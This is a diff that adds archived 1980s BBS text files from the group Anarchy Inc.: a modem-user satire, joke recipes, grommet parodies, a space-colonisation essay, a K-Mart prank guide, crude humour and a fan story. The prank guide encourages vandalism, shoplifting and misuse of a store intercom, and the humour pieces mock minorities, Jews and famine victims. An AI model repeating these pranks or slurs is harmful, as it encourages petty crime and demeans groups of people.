+ Modem Geeks try to crash bulletin boards with the 99E99 attempt. + + Modem Personallities ponder over why someone would want to crash a bulletin +board. It only hurts everybody else, in their oponion. + + Modem Geeks own a zoom modem, or use a terminal, and wonder why they can't +download 'Spy Hunter' to their terminal, or use CatSend with their NetWorker. + + Modem Personallities own an AppleCat, a Hayes, or another brand of modem that +didn't cost under $150. They're not cheap. + + Modem Geeks frown upon organizations over the modem, saying that they're just +there to pick on people, and do distructive things. The truth is, that they +would jump at the chance to be in one, if only somebody would invite them in! + + Modem Personallities didn't join V.O.I.D., The Revolutionaries, or Olympia. +They didn't ask to be in E.M.P.I.R.E. either. + + Modem Geeks spend four to eight hours a day on local bbs's. + + Modem Personallities can get on a bbs anytime they choose, with the help of +an auto-dialer, so they call about every two to three days. + + Modem Geeks log onto The Wang Bang BBS, Appler ][+][, The Death Star, and the +Tavern. + + Modem Personallities access The Twilight Zone, The Haunted House, and various +out-of-state lines. + + Modem Geeks post on the Joke Board, the Art Board, and write about their last +wet dream on the X-Rated board. + + Modem Personallities stay away from the above, but when they write on the +X-Rate d board, they write from experience. + + Modem Geeks listen to Prince, Culture Club, Michael Jackson, Wham!, and +various computer tones, including ctrl-g. + + Modem Personallities listen to Pink Floyd, Genesis, The Beatles, Dire +Straights, The Cars, U2, Iron Maiden, and The Police. (Pardon if this list was +a bit personal.) + + Modem Geeks tried to breakdance, be a stoner, and open a bridginghead with a +wire stripper. + + Modem Personallities spit upon break-dancing, and know how to open a +bridginghead, if the need ever arises. + + Modem Geeks collect text-files on explosives, to show to their friends how +cool they are to have them. + + Modem Personallities only collect explosive text-files if they're going to +use them. + + Modem Geeks download. + + Modem Personallities upload. + + Modem Geeks were offended by The Sheik's file:"Are you a Modem Geek?" + + Modem Personallities watched the Modem Geeks get offended. + + Modem Geeks let their little brothers call bulletin boards. + + Modem Personallities let their girlfriends call bulletin boards, and flirt. + + Modem Geeks can't call out of the local area code, for fear that their +parents won't like the high phone bill. + + Modem Personallities pay their own phone bill, and besides, they usually +phreak as well. + + Modem Geeks think a 'blue box' is a mailbox. + + Modem Personallities know that Brian Decker is full of shit about the grey +box. + + Modem Geeks collect stamps, are in the chess club at school, and are never +caught without six or more ballpoint pens in their pocket, with a TRS-80 pocket +computer as well. + + Modem Personallities (usually) collect comic books, records, and girls. + + Modem Geeks think that The Bullseye existed, and Ron VanZuylen doesn't. + + Modem Personallities know Ron, and think he's weird. + + Modem Geeks call 'Dial-Your-Match' and the Lamda Switchboard. + + Modem Personallities try to find ways to crash these systems, for the good of +the telecommunications society. + + Modem Geeks rely on the modem for a social life, or a semblence of one. + + Modem Personallities's lives would go on if their modem blew a chip. + + Modem Geeks would cry. + + This is only...volume one. + This is only...the beginning. + + ------------ + Anarchy inc. Founded in 1984 + ------------ Sunnyvale, Ca. + "We take care of our own." + + The Daredevil, Havoc The Chaos, The Moon Roach, Ruby Tuesday, Surf Rat, Torqa +Dun, Dark Shadow, Lord Omega, Teeny Bopper, The Sheik, Alexander of Atlantis, +The VanMaster, Eric C. Thompson, Someone Else, D.B. Cooper, The Anarchist, +Pleasure Victim + + Subdivision: + [/\] The Lynch Mob [\/] + Doom Mastor, The Hangman, Diehard the Hunter, The Vigilante + Anarchy inc. Hotline: (408) 732-1079... + + ------------ + Anarchy inc. The textfile people. + ------------ + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/getsick.ana b/textfiles.com/groups/ANARCHYINC/getsick.ana new file mode 100644 index 00000000..4580f1ac --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/getsick.ana @@ -0,0 +1,44 @@ +Preface +------- + + There really is no excuse for this file; it's just that... well, figure it +out for yourself; I'm tired, and don't feel like it. No, this little piece of +nonsense has no meaning whatsoever, to the extent that such a thing is possible. +Alas, forgive me, I ramble. Let us get on with it. + + I didn't think at first it was such a good idea after all. I mean, we all eat +scrambled eggs, but I don't like peanuts, let alone in my eggs. Huh? Well, it +seemed like a good idea at the time, sort of. I'm not so sure now. + +A New Way to Make Yourself Sick +------------------------------- + + Before you continue, make sure you have the following materials on hand: + + 1. One (1) large bag of unshelled peanuts + 2. Two or three medium sized dove eggs + 3. Sugar (1/2 lb.) + 4. Lime jello (one box, preprepared) + 5. A blender + 6. One (1) cup Garbanzo beans + + Yes, the jello has to be lime (for the flavor). Pour it into the blender, but +don't turn it on yet. Crack the eggs (if you want the shell, I don't care) and +drop them in. Cook the beans and place in the blender. Do same with the sugar. +Without removing the shells, add as many peanuts as you feel like, and flip on +the blender until the mess has the consistency of mush. Pour it out and pop it +in the microwave. After a couple of minutes it's fit to eat. Enjoy! + + +Afterword +--------- + + Hey people, if this whole thing sounds stupid to you as it does to me, it's +all your fault! I need ideas... + + Someone Else, + yes, I am of Anarchy, Inc. + (and I'm damn proud of it) + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/grommet.txt b/textfiles.com/groups/ANARCHYINC/grommet.txt new file mode 100644 index 00000000..29e34da3 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/grommet.txt @@ -0,0 +1,254 @@ + +[ This contains both VanC0 Grommet files. It is rumoured that Ron S + VanZuylen has the largest collection of grommets outside the + Soviet Union. The second file was written by DBCooper, whose main + claim to fame is some silly hijacking or other. HBB ] + +A:\TEXT\GROMMET.TXT (54 lines) edited by R.VAN with ST MicroEMACS + +"HELP! THE GROMMET(*)'S MISSING!" from a book which does not exist because it +is a figment of my imagination. I think this text is considered public domain, +so you can distribute it at your own discretion (if it hasn't been altered in +any horrible/frightening way). + +(*)GROMMET (grom'it), n. a metal eyelet, as in leather. + + My father was sipping a tasty Rheinhessen on the back porch when a +clattering disturbed his oenophilic reveries. He looked up and, eyes agog, +stared blankly as the rest of the family lugged a huge box marked 'Gas Grill' +into view and dumped it huffing at his feet. + (They were huffing, not the gas grill; the gas grill huffed later on.) + "Happy Father's Day!" we (the family) crowed. + His ministrations of pleasure and affection amid the hubub of familial +excitement soon turned into thoughts of defenestration as he set about +assembling his newest toy. + Why? Here is a quote from the assembly manual and you'll see why: + "Affix hoop (18) to side standards (33) with provided long bolts after +first securing hub (4) through axle carrier (12) and side ribs (7). Repeat +procedure other side. View illustration." + Dad thought about throwing the instructions away right then and should +have, but my mother (referred to in the instruction manual as 'helper') was +the logical sort who believes her husband ought to 'do it right this time.' + So, he resigned himself to assistance from both manual and spouse and +sturdily continued assembling my his wonderful Father's Day gift. + He was distracted in this effort by the cat and the two-year-old who both +came curiously close to being killed when they reached the climactic chapter in +the instructions--you know, the one that tells how to 'insert Venturi tube +into line assembly (25), adjusting inlet valves to 1/8-inch windows while +drawing spark line (41) through eyelet.' + Dad was also distracted by the not-so-fond recollection of countless witty +Sunday magazine insert articles about self-assembly of Christmas bikes, gas +grills and household widgets. You know the kind: some depraved writer who had +to send the bike back to the manufacturer for repairs due to his botching the +job writes a funny piece in order to recoup his freight expenses. + This, by the way, isn't one of those articles. The gas grill works fine. +But my father's episode does bring to mind a couple of my pet theories about +kit-making. + The first is about the so-called 'ease of assembly'. What American +manufacturers do, I think, is have a group of employees write the instruction +manual. The product of their effort is then translated into Japanese or +Spanish (depending on where the kit is packed). Then, either a Japanese or +Mexican re-translates the manual into English again, prints it and stuffs it +in with all of the parts. That's my only explanation for the ponderous and, +yes, tortuous nature of instruction manuals. + My second theory is this: You can't fault the quality of workmanship if +you're the one who did it. So, if the drive chain on your kit-assembled ten +speed bike falls off, or if your gas grill blows up in your face, or if your +made-at-night-at-home color TV set only works on Channel 1, you only have +yourself to blame. + For sure you can't blame the family. Even if they never let you forget +about the ten speed color gas grill sitting useless on the back porch. + +E.O.F. (End.Of.File) + + + + * The Grommet Repair Manual: written 28-dec-85 + edited 04-jan-86 + + Dedicated to Brendon: We Think You're SWELL! + ============================================================================== + + PATH:tutorial/repair/grommet/tgrm ============================================================================== + + + + + + + + + + + A VanCo TEXT-CO PRODUCTION + + + + + + + + + + + + Welcome to the Grommet Repair Manual. This is the unofficial sequel to the + largely ignored "I had fun with a grommet" file written by R.Van some schmuck. This + file is meant to fill in some of the gaps that were left in the story line of + the previous story. + + + ----------------------------- + PREFACE: Why Should I Care? + ----------------------------- + + The Grommet. The Grommet. Why do we care about a small, round peice of + metal? The grommet is actually considered by some historians to be much more + important in altering the course of history than television, the wheel, + deodorant, the printing press, and possibly even granola. The reality of + grommets is only beginning to surface as the following people stated in their + articles: + + ------- + Wade B. Hoyt: Grommets in a Historical Perspective + ------- + + ...The Grommet is an amazing device that has been used during wartime and + peacetime, work and leisure, and to provide enjoyment and satisfaction to + millions... + + ------- + Abraham Johnson: Machines at War + ------- + + ...The social and political unrest due to the invention of the grommet are + incredible, paralleled only by the atomic bomb, Jane Fonda, and the Muppets... + While many have rallied to control the dangers of nuclear weapons, few if any + have realized the dangers of the grommet. If society as we know it today is + to survive, we need to act quickly and efficiently to neutralize the dangers + of the lowly grommet. + + ------- + Anne DeKruyfer: Fashion Magazine + ------- + + ...In this upcoming year, the hottest new item is the Grommet. Fashionable + items will definitely be belts, jackets and shoes with grommets for both men + and women; grommeted socks and briefs for the men; and leather lingerie with + grommets and steel buckles for the ladies... The grommet will definitely be a +hot item this year... + + ------- + John Harrison: Leather and Lace magazine + ------- + + ...The Grommet is the hottest item to hit the Sado-Masochistic fashion scene + since chains, leather, or even tabasco sauce... Imagine you and your lover + bound together by grommeted leather straps ($13), unable to avoid her lashings + by a grommeted leather lash ($22). As you slowly caress her leather teddy + ($37) you tighten the grommeted straps on her teddy to an almost unbearable + tension and slip the strap into the silver plated buckle as she screams in + ecstasy.... + + ------- + Aaron W. Yellowitz: How To Make a Fortune with Tunafish + ------- + + ...You must be careful when loading up your backpack with tunafish to sell + door to door. If you load up your backpack too heavily, you may hurt yourself + lifting it, or possibly pull out a grommet on the bag itself. I usually + suggest that you only carry seven 8-ounce cans of tuna at a time... + + + -------------------------- + ONE: uses of the grommet + -------------------------- + + The grommet is one of the most overused pieces of hardware in existence. + The grommet is used in thousands of everyday items, many of which are so + commonplace that we seldom recognize them as one. some examples follow: + + + + outdoor equipment: backpacks, tarpulins, clothing, tents + sporting goods: sails, climbing harnesses, trampolines, pool covers + computers: cable harnesses, diskette reinforcement, straightjackets + household items: window shades, nail clippers, nuclear warheads + + There are hundreds more uses, and you can probably spot more in seconds by + searching through your own house. + + Grommets have also influenced many other things. Some say that Madonna's + belly-button has the appearance of a grommet, although some say what really + looks like a grommet is about six inches lower. Grommet-like items have been + found in many styles of ancient architecture. As Don James once said "If I + was a piece of simple hardware, I'd most definitely be a grommet" + + + --------------------------- + TWO: installing a grommet + --------------------------- + + The first, and most essential piece of equipment for grommet installation is + the grommet tool. The easiest way to purchase one is usually in a kit, with + an assortment of grommets included. The tool consists of three parts; the + setting tap, the anvil, and the punch. The punch is used with the anvil to + create the proper sized hole for the grommet. The material is placed on the + anvil, and the punch is placed over the hole in the anvil. A sharp blow to + the punch with the hammer will drive a hole into the material that should be + the proper size. The setting tap is used to force the grommet through the + hole and into it's proper shape. + + The grommet is a specially shaped piece of metal that when shaped properly + can reinforce a hole so a rope, cable, or buckle can pass through without + ripping the surrounding material. Grommets come in five basic sizes, ranging + from 0 to 4 (4 being the largest). These may be purchased in hardware stores + without any licenses or restrictions. + + Once the hole for the grommet has been cut, many grommet installation + experts recommend that the hole be heat-sealed to prevent fraying. This can + be done with a match, but it is preferable to use a soldering iron or a + woodburning tool. Remember, this is not necessary, but it is recommended for + a lasting, professional grommet installation. + + The Grommet should now be installed using the setting tap. The author + recommends that you consult the instructions for your particular model, as + there are always some minor differences in operating procedure. The first + step is to find the proper size grommet, and then remove the male portion. + This portion is bigger, and somewhat longer than the female portion. The male + half should be slipped through the hole, and then should be laid face down on + the anvil. The grommet should be seated properly on the small ridges of the + anvil in order to insure a proper bind. Next, slip the female half over the + male portion. Note that the halves should face together tightly. Finally, + the setting tap should be placed on the grommet and struck with a hammer. + This will force the grommet halves together and bind them permanently. + + + -------------------------------------- + CONCLUSION: what does all this mean? + -------------------------------------- + + I hope this article has alerted you to the hopes, struggles, despair, and + lives of people who deal with grommets on a daily basis. I also hope that you + have used this file to your advantage, as there are many grommet oriented + career options available today. + + + ------- + Written by D.B. Cooper and the VanCo staff on 28-dec-85 + Edited by R.Van and D.B. Cooper 09-jan-86 + + + -- H a v e a N ic e D a y ... + + + + +(> Copy: "T e l l A F r i e n d ! " +! R e a d t h e o th e r g r e a t f i l es i n t h e V a n C o L i b r a r y ! + + + Successful Write. + +[ End ... ] + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/inspace.hum b/textfiles.com/groups/ANARCHYINC/inspace.hum new file mode 100644 index 00000000..bab8f3f3 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/inspace.hum @@ -0,0 +1,112 @@ + ------------ + Anarchy Inc. Proudly Presents... + ------------ + + + The Concept of Space Travel. + + by: Lord Omega + + + Space, the final frontier. But how do we get to it? We've got the shuttle, +we've got satelites orbiting the earth, but we don't have any way to really get +out into space. This is a problem. There is no way that earth can remain the +only home of man with a population growing as fast as ours. We must find other +planets to live on. + + But how? + + Chapter 1: Getting off the ground. + + Ok, now we're going to build a interstellar cruiser. It's gotta be built in +orbit, because once we get this thing as massive as we'll need it, it will be +too big to launch. Also if we build it in orbit, we don't have to worry about +aerodynamics, because it will never go through atmosphere. The parts will be +shipped up there by shuttle trips, and be assembled by people with practice in +zero gravity. That is the hard part. We don't have many real experts on zero +gravity, and it will probably take quite a bit to train them correctly. But +suppose we do, and the cruiser gets built. How much did that just cost? +Arrgh.. quite alot if you include fuel for the shuttle trips carrying all that +damn metal and such up to the ship. We better hope for a different way. + + How bout the asteroids? The're mostly metals, and they should be able to do +the job fine. Main problem here is that they're the best way to build the +cruiser, but you need the cruiser to get to the asteroids. The asteroids would +make a good base for starship construction if we could just get an experienced +construction team up there. Time to re-design shuttles to go there and back. +Maybe after all this time, we finally get a construction base set up on Ceres. +(Ceres is one of the largest asteroids. It would be one of the best choices for +the base.) Ceres has been hollowed out, and enlarged somewhat like a balloon by +heating it, spinning it fast, and setting off explosions inside of it. This +will give us a base large enough for anything we might want to do. We've got +the asteroid spinning in order to create one gravity of centrifugal force, and +life inside would be great. Imagine, no bugs, snakes, or anything that you +might hate. Other shuttles now use Ceres for a base, and go back and forth in +the asteroids looking for particularly rich rocks. On Ceres we'll need a +complete system to smelt the ore, turn it into the parts we'll need for the +ship, and put it all together. Undoubtedly we'd need more than just metals. +Plastics, electronics, and other things we couldn't get up there, would be +imported from earth. + + Chapter 2: Food and stuff. + + Bit of a problem here. We're quite a way away from earth, and what's there to +eat? What's there to drink? What's there to breathe? These can easily be +solved. I'm sure that it won't be long before our great gene splicing labs +create a form of algae that people can eat, and will multiply very quickly. +Algae already multiplies fast, and it would be an ideal food source. It's also +an ideal air source. The used air, now mostly CO2, Can be run through the food +rooms, and the algae will thrive on this, giving us oxygen at the same time. +For storage, i'm sure that we can cut down the amount of nitrogen that the +Cerians will breathe. Nitrogen isn't really breathed anyway, and there could be +enough nitrogen for the plants in their hydroponic garden. + + Water is a little more difficult tho. Water can't be dehydrated, or breeded +or anything like that. It has to be shipped up there in bulk. Renewal systems +inside the Cerian complex could keep the water going for quite a while if you +aren't squeamish about drinking repurified water. Also, there may be ice in the +asteroids, and there certainly is orbiting Saturn in the form of rings. That +could be shipped in to Ceres also. + + Medicines would be a bit difficult. The good side of that is that a hell of +alot less people would be ill. Most of the harmful germs might be kept out of +the system, and there would be low gravity for anyone with heart problems. +Those are just two examples, but there will be alot more methods of dealing with +illness in Ceres. + + Chapter 3: Power + + This is an easy chapter. At Ceres, it would be very easy to use solar power +or put a nuclear generator on a nearby asteroid and beam the power to Ceres via +microwave. The starships would have to be very big to use nuclear power, but it +would work. Actually, the greatest thing that could possibly happen would be +the invention of a total conversion device. Something that could completely +convert matter to energy. That way, we could dump in any old garbage, and not +much would be needed to power the station for a long long time. But, nobody has +discovered a way to do it yet... + + Chapter 4: Who's going? + + This is somewhat important. Who would be picked as someone to work on Ceres? +More than likely it would be someone who not only is the best at his skill, but +is also athletic. It's going to be a bit of trouble for most people to get used +to zero gravity, and someone who has taken alot of gynmastics might do better +while learning. Also needed would be people in perfect health. We wouldn't +want anyone to have any serious problems that far away from their family +doctor... + + Chapter 5: Conclusion. + + I hope this has been an informative as well as enjoyable little text for you. +Space travel and exploration is something that I believe is very necessary. As +Larry Niven once wrote, "We need to explore and colonize other planets. Earth +is too small a basket for man to keep all it's eggs in." + + Sources of good reading material: + + Tales of Known Space, by Larry Niven + All the Myriad Ways, by Larry Niven + The Martian Way, by Isaac Asimov + 2001, A Space Oddessy, by Arthur C. Clarke +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/k-mart.ana b/textfiles.com/groups/ANARCHYINC/k-mart.ana new file mode 100644 index 00000000..eab0c077 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/k-mart.ana @@ -0,0 +1,108 @@ + ------------ + Anarchy inc. ...proudly presents... + ------------ + + How To Have Fun In K-Mart!! + A combination of volumes 1 & 2 + Written By: The Daredevil, of Anarchy inc. + + Well, first off, one must realise the importance of K-Marts in society today. +First off, K-Marts provide things cheaper to those who can't afford to shop at +higher quality stores. Although, all I ever see in there is minorities and +Senior Citizens, and the poor people in our city. Personally, I wouldn't be +caught dead in there. But, once, I did. + + You see, once, after The Moon Roach and Havoc Chaos(Dear friends of mine) and +I were exploring such fun things as rooftops, we came along a K-Mart. Amused, +and cold for that matter, we wandered in. The Tension mounts. + + As we walked up to the entrance, we were nearly attacked by Youth Groups +selling cheap cookies, and wheelchair sticken people selling American Flags. +After laughing at these people, we entered. + + This is where the real fun begins... + + + First off, we wandered around the store, and turned on all the blue lights we +could find. That really distracts and confuses the attendents...Fun to do... + + The first neat thing, is to go to the section of the store where they sell +computers. Darkness engulf the earth the day they find Apple Computers being +sold there. Instead, lesser computers like the laughable Vic-20 can be found +there...Turn it on, and make sure nobody's looking...Then, once in Basic, +type... + + +]10 PRINT "Fuck the world! Anarchy Rules!" + (or something to that effect.) +]20 GOTO 10 + + and walk away. + + Also, set the sample radios in the store to a santanic rock station, and turn +the radio off. Then, set the alarm for two minutes ahead of the time displayed +there. Turn the volume up all the way, and walk away. After about two +minutes, you will see the clerk feebly attempt to turn the radio down or off. +It's really neat to set ten or more radios to different stations, and walk +away. + + One of my favorite things to do, is to get onto the intercom system of the +store. Easier typed then done. First, check out the garden department. You +say there's no attendent there? Good. Sneak carefully over to the phone +behind the cheap counter there, and pick it up. Dial the number corrisponding +to the item that says 'PAGE'... And talk. You will note that your voice will +echo all over the bowels of K-Mart. + + I would suggest announcing something on the lines of:"Captain Stubeing to the +Bridge, Captain Stubeing." or "Attention K-Mart Shoppers: Eat Shit and Die" or +any other cute phrase that your taxed mind can come up with. + + Ah, but what if there is an attendant in the garden section...Probally an +illegal alien. Try sneaking into the back room. There's bound to be a phone +back there somewhere. + + The thing is, try not to get kicked out of K-Mart, as the Moon Roach has had +happen to him before. I won't EVEN mention which famous BBS personallity was +nailed for shop- lifting from K-Mart. He/She'll kill me. + + One other fun thing to do in K-Mart is to find the dressing room, +small and insufficient for normal means(about one cubic foot wide...), and +enter with as many people as you can find. Begin making several obscene +noises and grunts at quite a loud level. This should attract the attention +of several employees, and after a short period of time, will usually send +an unwitting attendant to see what the source of the problem is. + +These attendants were not hired for their intellectual capacity, and at least +in my experiece, they have this habit of opening the wrong door. This +usually shocks the customers and embarrasses the employees. + + After this exciting little jaunt, try re-arranging the coats and the hats on +the racks. See how long it takes for the low-bred customers to notice the +change. The average time is usually four to six weeks. + + Another exciting activity is to find the back room and remove all the tags +and the recipts from the boxes therein. The seedy and yet obscene messages are +optional. This not only confuses the managers, but will usually leave the +people in charge in the store wondering if certain items such as a chair, are +not accually 'Mr. T Watersprinklers' as the label on the box implies. + + Now, I would like to thank Teeny Bopper and Havoc The Chaos for bringing to +me a genuine "K-Mart Luncheon Menu"! Oh yea. My god, even their paper cups +have 'K-MART' on them. I'm supprised they don't say 'MC DONALDS' or something. +I've never seen recycled food before. + + Well, I'm going to get back to the garden center and type about it for a +minute. The garden center can be great fun(see K-Mart:Part I in last month's +collumn) whether you're slashing the bags of fertizilier, graffiti-ing on the +potted plants, or stealing those plastic flamingos by handing them out to +friends through the gates, it's all the same now. Fun! + + Getting on the roof of K-Mart is quite a hard task. I've yet to try it +myself though. I'd like E-Mail from the first 100 people who successfully get +on the roof of K-Mart, please? + + Ah well, The Moon Roach & I are without ideas, so, without further adieu, we +will end this highly entertaining text-file... + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/lub-dubs.hum b/textfiles.com/groups/ANARCHYINC/lub-dubs.hum new file mode 100644 index 00000000..5635ca82 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/lub-dubs.hum @@ -0,0 +1,176 @@ + ------------ + Anarchy inc. ...(P)resents... + ------------ +-^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^- + + LUB-DUBBS -- The Magic of Molesting, Infesting, and Making a Mess + +-^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^- + + bY a mOdEM UseR Of aNaRChy iNc. + + +CHAPTER I: Life in Genital +---------- + + "Excuse me, but I'm feeling a little behind today... Who's little behind, I +still can't tell." -God Only Knows + + What do YOU think about Communism? It is closely related to the Smurfs, Baby +Fae, or grapefruit? Of course not. Yet we in America treat it that way. It's +bad, it doesn't affect us, and that it's Pinko yet Red. Isn't that our skin +color? (Well, maybe not YOUR skin color, but nevertheless..) We must face the +music, my friends. We must realize that this text-file is not about Communism. + + + +CHAPTER II: The Truth About Jell-O +----------- + + "I'm not schitzophrenic, and neither am I." -Ourself + + Jell-O is the food of Satan! This "dessert," as they call it, is probably the +most obvious form of Satan's kinky mind-bending tricks. See how it jiggles? +And they actually serve that stuff at CHURCH PICNICS! With this in mind, will +it be easy to see Rev. Jerry Falwell as a "religious fanatic" or one of Satan's +personal minions? Whichever side he may be on, he sure isn't up to any good, +and I say we give him a barber-shop pole enema. Anybody that fat, that jolly, +and that much of a hero to President Reagan should be mooned by half of America +within the next century, and worshipped by the Other Half. (The Screwed-Up +Half. The Half that consists of everybody over 52 years of age.) And his hair +is fake, yet he Poo-poohs all ideas of "non-genuineness" and such. Now, what +was this about Jell-O? That's just plain silly. + + +CHAPTER III: The Swelling of Stomachs +------------ + "My Goldfish Beats Ron" -An Angry Voter + + Whether of not it hurts our stomachs, people choose to eat at McDonalds with +their friends than eat at a fancy French restaurant alone. Why is this? Is all +that "Dude! You're my Buddy!" nonsense for real, or just something to say when +one doesn't have anything else to say? Well...Well... I think it means... +Uh... Dude! You're my Buddy! (Get the point?) + + Now the world is faced with the threat of Portable Pepto, so that everybody, +no matter where they are, can feel better by chewing on a petit pink peppermint +pill. And the ones that were feeling fine in the first place get nauseated to a +point of vomiting when smelling this "Pain-reliever". It makes no difference +how many pizzas they ate, or how many times they rode on the roller-coaster with +a full stomach. Stomach pangs (Pang! Pang! Poof!) hurt and are aggravating , +and the smell of Pepto combined with hunger pangs can drive an ordinary man to +the point of genocide. + + + +CHAPTER IV: Just Plain Nuts +----------- + + "I ain't 'fraid of no Prohibitionists." -Ray Parker SR. + + + In the sixties, everybody under the age of 30 was considered to be a freak, +because they wore weird clothes, had long hair, and smoked things in skinny +cigarettes. Nowadays, you are considered a freak if you do these things, but +you're also thought of as abnormal if you don't wear shoes to dinner, if you +don't think Pee-Wee Herman is funny, and if you honestly believe that Mtv is +just Top 40 radio that annoys your eyes as well as your ears. Conservatism is +coming back, as is Conformity, and it's a bit scary. Wait -- My friend says +that Conformity isn't scary, so I guess he's right. I'll go along with him. + + +CHAPTER V: Superficial Stuff +---------- + + "Uhhh.....Well, I..... That is....." -George Bush + + Is clothing superficial? Are faces superficial? Is this file superficial? I +can't tell, because this was just a superficial chapter so I could have a +chapter V. Go superficialize yourself. + + +CHAPTER VI: I Love the World and I Love Fish +----------- + "Ducky D, I am going to kill you." -Mother D + + Whether or not Nostradamus (The dead French guy who smoked weird things and +thought he could tell the future from it) is right about Halley's comet drying +up all the world's oceans, killing all the fish, and forcing man to consume +other men, is not important. How can fish be called brain food, when fish have +no brains? Still, fishies are fun to watch. So go buy a fish, watch it, and +eat it right away. Then you will be smart and write your own file. Then =I= +can complain about =YOUR= text-files. Then you will tell me to eat fish. +Then... (This is getting so confusing that I'm not sure whether or not I'm +actually writing this. Call Mrs. Paul and get me some fish sticks, and HURRY!) + + +CHAPTER VII: Feh and All of that Yiddish Stuff +------------ + "Ven I vash a boy, my great great grandfadder told me 'Irving' he shez, +'Shut Up.'" -Kosher Irving + + Are the Jews the chosen race? I don't know, because I'm not Jewish. Yet I +still wonder just why they don't eat pork! I mean, it's not that bad.. Sure, +the pigs wallow around in the mud all day, but they're cleaned! That's just +silly. Any Yiddish person out there that disagrees with me -- Go suck a hot +dog. And the Star of David -- That's just funny looking! I mean, it's like two +locked triangles and.. This chapter isn't worth anything. (No offense to +Judaism as it is, just that I never took "Jewish 101" or Bar Mitzvah courses or +anything. My, this file is offensive.) + + +CHAPTER VIII: Ed and Eight and All That Is Round +------------- + "Help me! I'm melllltinnnnnggg......" -The Wicked Witch of the West + + Just as some people in Islam curse some and bless others, there is "Ed" in the +North, and "Ned" in the anal stretch. "Ned" is a conjunction for "Not Ed" and +is used to describe anybody that faintly resembles jock-itch fungus. Ed is +round is eight is round is buff is round is Not Not Ed is round. And for a +personal note: I LUST FOR ED MERTENS. + + But seriously, certain things resemble 8. A figure 8, for example? You know, +remember Dorothy Hamill with the weird hair? China had 8 Immortals, and so did +a Chinese restaurant. 8 * 11 is 88, but that doesn't make a whole lot of +sense.. But of course it does! (Unless you're in Calculus where nothing is +supposed to make sense, even if it does) And the most important thing: 8 is +roundness. Think about it next time people say you've been "8-balled".. They +are just saying that you are rotund, and are humbly suggesting that you lose +weight. + + +CHAPTER IX: Prose +----------- + "There once was a man from Nantucket..." -Unfinished Folk Tale + + For you poetry buffs who find this file a bit crude, here is some arty stuff +for you to live off of: + + +Molest a little kitten +Molest a little hen +Molest "em till they're black and blue +Then molest 'em all over again. + Dead Ethiopians + Not an ounce of meat + Truck had engine failure + So they couldn't get their wheat. + + + And those were just a few fine examples of tasteful American literature. + + + +CHAPTER X: With a Quack Quack Here.. +---------- + + "Hey! What happened to my fan club?" -Fabian + + Well, all good things must come to an end. Unfortunately, some purile things +must also come to an end. So ends this masterpiece. I can only hope that I have +enlightened not less than all of you, and have opened your minds... (I'll wager +I opened them at least 5-6 inches. That explains the smell) So, goodbye. + +-^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^---^/\^^- +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/matt&eri.hum b/textfiles.com/groups/ANARCHYINC/matt&eri.hum new file mode 100644 index 00000000..c442ed12 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/matt&eri.hum @@ -0,0 +1,297 @@ + + ------------ + Anarchy inc. ...presents... + ------------ + + THOMPSON & ACKERET: + Trashing + Story idea by: Havoc The Chaos + Written by : The Daredevil (1/85) + + Chapter one: The Coming of Eric + -------------------------------- + + It had been a month since Eric C. Thompson had bought his TI computer, and he +had finally, after months of searching, found this unique little key known as +the "POWER" key. He had also picked up several other intresting items at +K-Mart, when he last went. Somebody had announced over the intercom that +everything in the store was free, so naturally, he helped himself. He had a +little modem, that attached to the joystick port of the TI, and a 12 collumn +printer, as well as a second casette drive. This made him rather happy, but he +couldn't understand why his "SPACE INVADERS" tape wouldn't play...All it +provided was a screeching sound, like the sound that a gerbil would make in a +veg-o-matic, but he found it entertaining neverless, and had been listening to +it all evening. + + Intrestingly enough, Eric had been reading old copies of "Newsweek", and had +found that these neat little things called "BBS's" existed. He decided that he +would examine one of these, and see how they work. Besides, he wanted to meet +this "Wildhack" chap. So, his first BBS was known as the Twilight Zone. Thus: + + THE TWILIGHT ZONE IS A PLACE. IT'S + THAT FIFTH DIMENSION WHERE IMAGINATION + RULES AND THE ORDINAY LAWS OF THE + UNIVERSE NO LONGER APPLY. + THE TWILIGHT ZONE IS ALSO A STATE OF + MIND--THAT MIST-SHROUDED AREA BETWEEN + REALITY AND DREAM WHERE HOPE STRUGGLES + ETERNALLY WITH HORROR. + + ENTER PASSWORD OR TYPE THE WORD : NEW + + -::=> + + Eric was perplexed. He decided to try a few passwords. "SWORDFISH" didn't +work, and neither did "JOSHUA". So, he sighed, turned up Space Invaders on his +stereo, and typed "NEW". The BBS greeted him with a happy little message, +saying how happy the system operator was to have him on there, and such. In +reality, the sysop didn't want any new users, but he had decided to be friendly. +Eric entered his name, phone number, and his birthdate, even though the system +didn't ask for it. He smiled. + + After reading through several messages, he decided to send this "E-Mail" to +people, and ask them why their parents named them things like "Surf Rat", "A +Modem User", and such. Seeing Princess Leia up there excited him, but he was +disapointed when he couldn't find R2D2 in the user log. Finally, he came upon a +name in which he had found familar. "Matt Ackeret" it read. The message that +it was in was talking about leaving hanging quotes in mid-air. Eric decided +that this person was an intellectual, and made a mental note to send him some +mail. Suddenly, some words came across the screen, noting that the system +operator had broken into chat. Eric's eyes widened. + + Hi there, you must be a new user. Need any help? +WAIT!! 